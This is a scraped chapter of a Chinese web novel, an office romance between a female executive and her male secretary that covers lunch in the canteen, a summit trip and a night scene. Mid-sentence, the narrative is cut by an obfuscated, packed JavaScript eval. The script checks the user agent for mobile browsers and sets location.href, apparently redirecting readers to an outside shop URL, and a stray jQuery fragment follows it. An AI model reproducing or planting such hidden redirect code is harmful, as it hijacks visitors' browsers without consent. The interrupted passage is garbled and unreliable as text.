默认冷灰
24号文字
方正启体

14. 14

作者:兰萋萋本书字数:K更新时间:
    今天是个普通的上班日,也是个不普通的上班日。


    一向臭脸的总裁秘书心情意外的好,看起人来的眼神都变了,而一向温和的总裁心情格外的差,在办公室里和供应商强忍耐心沟通了一整个上午。


    华琅没发现自己今天的心情很不错,坐在电脑前光顾着回忆早上那会儿詹云湄给他弄衬衫夹的时候。


    当然詹云湄不是个节制的人,他也不是个会拒绝的人,顺便干了一会儿,解决晨起需求。


    突然姚助站了起来,一个字没说,直愣愣打开窗户。


    凉风打在滚烫的脸上,华琅才注意到他的脸很烫,也许还很红。


    实在很反常,撒谎说感冒又很假,华琅连忙收拾会议清单,拎着一叠文件去找詹云湄。


    敲了敲门,推开进来,詹云湄还在和那家供应商的总裁进行视频会议,华琅来得不晚不早,她刚好说完最后一句,挂断之后脸色蓦然沉下。


    看见来的是华琅,她深叹一口气,靠在软背上揉眉心。


    华琅慢慢打量着詹云湄,静步过来放下文件,小心问:“没有解决好么?”


    她放下手,仰在软背里看他,“解决好了,终止合作,对方自身原因,赔付违约金,具体金额是法务和财务在算,法律文书已经发给对方了。”


    “噢……”华琅不再多问,这件事说白了和他半毛钱关系都没有,他就是个秘书而已,问多了搞得像个商业间谍。


    华琅站在旁边,似乎是掂量了一会儿,才说:“十二点多了,你不去吃饭吗?”


    “还没太饿,怎么?想和我一起吃?”詹云湄抬手看了眼表,12:15。


    “不是那个意思!”华琅会因很多种情形急切,她误会了他急,她逗他急,她不懂他暗示他急,她懂他暗示也急……


    这回是她误会他意思而急。


    “噢,那就是关心我?”詹云湄站起身,摸了摸他急得泛粉的脸颊,先凑到他耳边亲一下,再若有所指地点了点他肩膀。


    他愣了下,皱眉,“自作多情。”


    詹云湄一边拿外套一边牵过华琅的手,一边问他:“早上没收好力,肩膀还疼不疼?疼的话去给你拿点药膏来擦。”


    一身沉闷的骚包正装之下,肩头、胸口两点、腰腹、腿根,几乎全是她留下的痕迹,她很不收敛,又很收敛地把所有痕迹为他埋藏在衣服的遮掩下。


    都是她的手笔,但她有点心疼,她把工作上的烦躁转化成了折磨他的情绪,不过心疼并不多,如果有下次,她还是会这么做的。


    华琅狂甩手,在出办公室之前,甩掉詹云湄的牵拉,怒意明显,但很小声:“不要你管。”


    “好好,我不管,”詹云湄摁电梯,“去食堂吃还是去外面吃?或者有没有想吃的?”


    “我……和你一起吗?”华琅有点害怕被人知道他们的关系。


    说不上来是为什么,本公司没有什么禁止办公室恋爱的规定,周围人大多数也还算正常。


    可能是因为他作为她的秘书,任职才不到三个月就和直属上司在一起,听起来很诡异。


    他是靠履历入职,大家也都知道他的履历,可是他还是有种不配得感,总觉得不是靠自己,而是靠詹云湄。


    生活上,工作上,以前也就不提了,遇到她之后,他都觉得他一直靠着她,从来没有独立过。


    “今天比较忙,在食堂凑合一顿吧,”詹云湄看华琅半天给不出答案,自己一个人低着头也不知道在想什么。


    恐怕又是在胡思乱想吧。


    她拐出电梯,领在前面,“最近我的事特别多,咱们华秘书任劳任怨,下班时间也围着我忙,可见咱们华秘书是个很勤勉的人。”


    她这是在拐弯抹角安慰他,两个人一起吃个饭没什么奇怪的。


    食堂里的职工很多,来自各个部门,对于华琅来说很多生面孔,但大多数人都认识詹云湄,跟她打招呼。


    没有谁向华琅投来奇怪视线,华琅还是有种被聚光灯打在身上的被注视感。


    今天是紫菜蛋花汤,咸鲜口,很解腻下饭,詹云湄埋着头喝掉半碗,还没彻底吞咽,半鼓着腮,一边嚼紫菜一边观察华琅。


    他吃得很僵硬,像刚学会用筷子的小朋友。


    等她把汤和菜都咽了,取纸巾,分给他一张,再擦嘴,边擦边说:“很难受吗?不然我们公开吧。”


    “啪嗒”的一下,华琅的筷子掉地上,他弯腰去捡,也许是弯腰下去压迫了血管,也许是他害羞,总之再坐起来时脸很红,一路红透了脖颈。


    他摇摇头,小声说:“算、算了吧……”


    ……


    一供被更换,二供方很给力,找准机会补货,因此荒石亏损不算太多,可惜了失去了一供方的一部分资源。


    好在资源并不是靠他们一家提供,荒石拥有足够的实力本钱,将目光放在今年的全球产业领袖峰会。


    出席有荒石董事长,研发总裁,运营总裁行政办总裁,AI新产线负责人。


    渠凉在南方,时间赶紧,机票紧张,秘书几个基本都没有订到稍好的舱型,于是梁汝贞又找到机会开装,把她的私人飞机整出来。


    渠凉是个不大不小的地方,没有民用机场,飞到最近机场落地后花了两个小时,之后又转车一个小时左右到达渠凉。


    主办方提供有VIP专属酒店,但媒体太多,住人太多,不方便,秘书们统一订在另一家更隐奢的酒店。


    渠凉是标准的江南水乡,三月份温度适宜,适合游玩,人还比较少。


    詹云湄下车后去买了几袋特色月饼,分给大家,然后才跟着华琅办理酒店入住。


    虽然她让订一间,但华琅还是订了两间,他考虑到要打收据发票,只有一间的话那不是光明正大告诉所有人他和詹云湄有一腿嘛。


    正式峰会是明天,今天的晚饭在酒店单独提供的包厢里面吃。


    峰会经常办在渠凉,渠凉这些年发展出很多不对外、只接熟客的私厨,詹云湄在这边就认识一位,她的手艺非常不错,综合各方口味,不会出现食之难咽的情况。


    华琅安排了人将菜品端到包厢,确认上齐之后,就去了秘书们单坐的一间。


    他最熟悉的是梁董的秘书,两个人联系更多更紧,他也比较喜欢梁董秘书这个人。


    话少,沉默,站在身边跟个陌生人一样,所以华琅就喜欢和他一起办事。


    其他秘书有种随老板的感觉,CEO们什么性格,大部分人就那个性格。


    比如技术部的那个,吵。


    比如运营部的那个,闹。


    比如研发部的那个,烦。


    这是华琅对他们的统一标签。


    “嗳。”


    一片聊天声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296684|198567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中,梁董秘书忽然发出声音,华琅看了他一眼,确认他是在和自己说话。


    于是撩眼看他,示意他说话。


    “认不认识这个人?”他递出手机,拨号界面上一有个已接来电,名字是粉幻影肇事车主。


    华琅认识又不认识,先问他:“怎么?”


    秘书说:“梁董上次拿错手机给他打了次电话,他最近一直来电,我接了之后,以为我是梁董男朋友,之后就不联系梁董了,梁董最近一直在怪我,怎么办?”


    华琅啧了一声,压低声音,“你不是吗?还是说你就是个情人?”


    以他敏锐的观察力,其实已经发现了,这个秘书和梁董之间有点复杂,他们应该不是恋爱关系,更不像夫妻关系。


    说直白点,这个秘书应该是梁董的情人。


    主要是这个秘书不怎么会做保密工作,经常在梁董办公室待很久,身上还经常有很暧昧的痕迹。


    别的秘书不能发现,他们都是正经人,只有华琅这个同为情人一样存在的人才能发现。


    当然梁董秘书比较钝,他愣了下,说:“华秘,你这样直白的话,是会没朋友的。”


    华琅突然笑了一声,似嘲似讽地说:“你以为你不直白,就有朋友了?”


    “……”秘书沉默了一下,他觉得华琅说得挺有道理的,他也不想和华秘争,“那我该怎么办?”


    华琅转了转眼眸,桌边几个人喝嗨了,完全没注意到他俩在这密谋,他灵机一动,勾勾手。


    秘书凑过来。


    只听他神秘道:“他不会平白无故以为,他会误解完全是你在循循诱导。”


    秘书半信半疑。


    华琅继续诓他:“所以问题出在你身上,懂么?”


    他说起话来一套一套的,听得秘书不停点头。


    华琅又说:“所以你大度一点,和小电驴一起当梁董情人。”


    “啊……”秘书有点不高兴,但是一想到这样的话梁董就会理他,又觉得有点高兴。


    他准备试试。


    华琅感到幸灾乐祸。


    “干什么坏事了?”詹云湄解开浴袍换睡衣。


    华琅默默把脑袋埋到枕头里,不看她,偷摸着骂她一句没羞没臊,等到她回床上来抱他,他才转过来。


    “没事。”


    “是么?”她盯着华琅的发顶,摸了摸他的脸,“最近是不是交到朋友了?”


    “什么?”华琅听不太懂她语气里的欣慰,他只觉得她把他当作多幼稚的小孩似的,他下意识反驳,“没有。”


    詹云湄笑了笑,把华琅从被窝里抬出来,把他搁到身上坐着,从床边拿了个礼盒递给他。


    他以为这是什么礼物,在她的示意下去拆,结果拆出个令人眼前一黑。


    詹云湄压弯华琅的脖颈,吻他的唇,将他胆怯的唇舌卷入齿间,细细碾磨。


    亲得华琅有些晃,她托住他的髂骨,把人稳稳托住,随口聊起梁汝贞给她分享的奇闻。


    “梁董说她的秘书终于通情了,她一顿盘问,说是你在支招,”詹云湄把华琅的手指与她自己的五指相扣。


    她戏谑着打笑:“咱们华琅有那么主动么?怕不是想坑人家,结果误打误撞支招成功吧?华琅,你怎么这么坏?”


    华琅呜嗯一声,不承认也不否认,埋到她颈窝,红着脸不肯开口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)